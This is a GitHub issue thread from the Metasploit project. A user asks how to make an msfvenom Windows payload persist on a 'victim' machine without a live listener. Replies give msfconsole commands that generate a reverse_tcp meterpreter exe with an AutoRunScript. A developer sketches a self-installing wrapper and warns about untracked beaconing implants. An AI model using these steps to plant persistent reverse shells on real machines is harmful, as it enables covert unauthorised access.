Metasploit-framework: msfvenom persistence guide

[NoorQureshi]

i've a question regarding msfvenom...

if we create an windows exploit and our victim execute that file!!! i don't wanna wait for him/her to open that file so i can persistence our connection! i want that payload to auto persistence my connection so if i were offline the time my victim open that payload so later i can connect to payload....

without waiting for him to open that file! is that possible?

Thank you! will wait for your response on that!

[cbrnrd]

When starting a multi/handler you can set the AutoRunScript option to run persistence. Sample console output:

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show advanced

Module advanced options (exploit/multi/handler):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ExitOnSession           true             no        Return from the exploit after a session has been created
   ListenerTimeout         0                no        The maximum number of seconds to wait for new sessions
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                0                no        Additional delay when waiting for a session


Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript   <------ (THIS)                no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoVerifySession            true             yes       Automatically verify and drop invalid sessions
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseConnectRetries        5                yes       The number of connection attempts to try before exiting the process

...snip...

msf exploit(handler) > 

When a session is established, it'll automatically run whatever you have set there

[NoorQureshi]

Yes i can use AutoRunScript... sorry i didn't explain well, what if the victim opens the file when im not listening.. because i cannot use exploit -j and wait for my victim to open that file! he can probably run another day then how am i gonna establish the connection then? AutoRunScript comes later when we want the persistence connection we we're already connected to victim! ... i hope you understand what im trying to do.

[NoorQureshi]

No bro you didn't understand! What if my victims open the exploit and I'm AFK how would i exploit -j then? because im not listening to payload continuously. What if my victim opens that payload another day and how im gonna get session then?

[cbrnrd]

I suppose instead of using msfvenom, generate the exe on msfconsole with AutoRunScript set.

> use payload/meterpreter/reverse_tcp
> set LHOST ip
> set LPORT port
> set AutoRunScript script[opts]
> generate -t exe -o payload.exe

Something like this should generate it

[cbrnrd]

@NoorQureshi Any luck?

[NoorQureshi]

Nope! That's not what I'm trying to do....

[bwatters-r7]

Are you trying to create a payload that automatically installs itself using the persistence command without needing to call back to the framework listener first?

If so, I do not see how it could be done with a reverse_tcp staged meterpreter payload, as staged payloads contain just enough shellcode to call back to the framework listener and get the rest of the payload. I am fairly sure that is not even possible with a stageless meterpreter payload, though I concede it is far more likely. I have never done it, but if I wanted to try and do that, I would make a custom exe/elf that just installed itself, then I'd use that exe/elf as the template for msfvenom and embed a meterpreter payload into the custom exe/elf. Then, whenever the exe/elf was launched it would both install itself and call back. You'd have to make sure that the custom exe/elf would not install itself over and over again, but the code itself would be relatively simple, depending on the vector you select for persistence. There may be a simpler way, but I do not know it off the top of my head.
As an aside, it is best to ask questions on usage in the #metasploit channel in IRC rather than here. This area tends to be used to communicate bugs and requests to developers rather than questions for expert users (part of why my answer to this challenge was to write a new exe/elf is because that's what I know ;-)). The #metasploit IRC channel has lots of pen testers and experts that may have run into this same challenge and have a non-developer solution for you, plus you'll probably get a much faster response there.

[bwatters-r7]

Also, after a night of thinking, if that's the functionality you want, do this _carefully_... If this is part of a professional pen test, creating such a tool runs the risk of installing an untracked, beaconing callback on (hopefully) customer computers. If firewall rules prevent the callback from reaching you, the host will never be included in your msf database, so you'd essentially be installing beaconing malware on (again, hopefully) customer machines and never report it to the customer. At the very least, I would record the file hash and callback IP and give it to the customer after the engagement so they can add them to their AV blacklist, IPS, and/or Firewall to help them find and remove errant installs that never got back to you.

[busterb]

Closing this as it is not really a github issue. If there are specific features to implement feel free to create new PRs.